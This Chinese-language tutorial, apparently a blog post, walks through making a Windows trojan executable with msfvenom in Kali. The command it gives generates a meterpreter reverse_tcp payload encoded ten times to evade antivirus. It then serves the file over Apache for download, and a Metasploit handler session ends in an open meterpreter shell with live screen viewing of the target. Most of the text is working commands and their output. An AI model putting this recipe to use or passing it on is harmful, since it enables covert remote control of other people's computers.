使用msfvenom制作exe木马文件
1. msfvenom
msfvenom是msfpayload,msfencode的结合体。使用msfvenom制作木马的思路是,木马在目标机上执行后,向本机发送信息,而本机则需要开启监听状态,收到信息后则进行连接。
2. 制作木马
msfvenom制作木马需要的参数很多:
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nongth)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
主要使用的参数有:
-p 设置payload,查看可以使用的payload可以使用命令(msfvenom -l payload)
-e 对生成的木马使用编码器,编码器可以在一定程度上绕过杀毒软件。查看可用编码器(msfvenom -l encoder)
-i 编码次数
-f 输出木马的格式(i.e. exe)
LHOST 本机IP
LPORT 本机端口
使用命令行生成木马文件,并存储在/var/www/html文件夹中,这样目标机可以直接网页下载:
root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.197.53 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/abc.exe
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai succeeded with size 408 (iteration=1)
x86/shikata_ga_nai succeeded with size 435 (iteration=2)
x86/shikata_ga_nai succeeded with size 462 (iteration=3)
x86/shikata_ga_nai succeeded with size 489 (iteration=4)
x86/shikata_ga_nai succeeded with size 516 (iteration=5)
x86/shikata_ga_nai succeeded with size 543 (iteration=6)
x86/shikata_ga_nai succeeded with size 570 (iteration=7)
x86/shikata_ga_nai succeeded with size 597 (iteration=8)
x86/shikata_ga_nai succeeded with size 624 (iteration=9)
x86/shikata_ga_nai chosen with final size 624
Payload size: 624 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/abc.exe
其中参数的含义分别为:
-a x86 使用x86框架,因为windows系统中32位程序可以运行在64位系统下,所以不必使用x64
--platform windows 运行平台为windows
-p windows/meterpreter/reverse_tcp 指定payload
LHOST=192.168.197.53 LPORT=4444 本机的IP和端口
-b "\x00" 去掉坏字符
-e x86/shikata_ga_nai 指定编码格式
-i 10 编码10次(可提升免杀概率)
-f exe 生成exe木马文件格式
-o /var/www/html/abc.exe 输出路径
然后开启apache服务
systemctl start apache2
开启apache服务后,在目标机浏览器中输入"192.168.197.53/abc.exe"可以开始下载文件
3. 木马运行获得目标机shell
在kali中需要在msfconsole设置一些参数,然后开启监听,这样木马运行后便能够获得shell:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.197.53
LHOST => 192.168.197.53
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.197.53:4444
[*] Sending stage (175174 bytes) to 192.168.197.54
[*] Meterpreter session 1 opened (192.168.197.53:4444 -> 192.168.197.54:49238) at 2021-01-29 16:19:35 +0800
meterpreter >
进入meterpreter后便已经获得了目标机shell,输入help查看更多命令。
输入run vnc命令可以实时查看目标机的屏幕。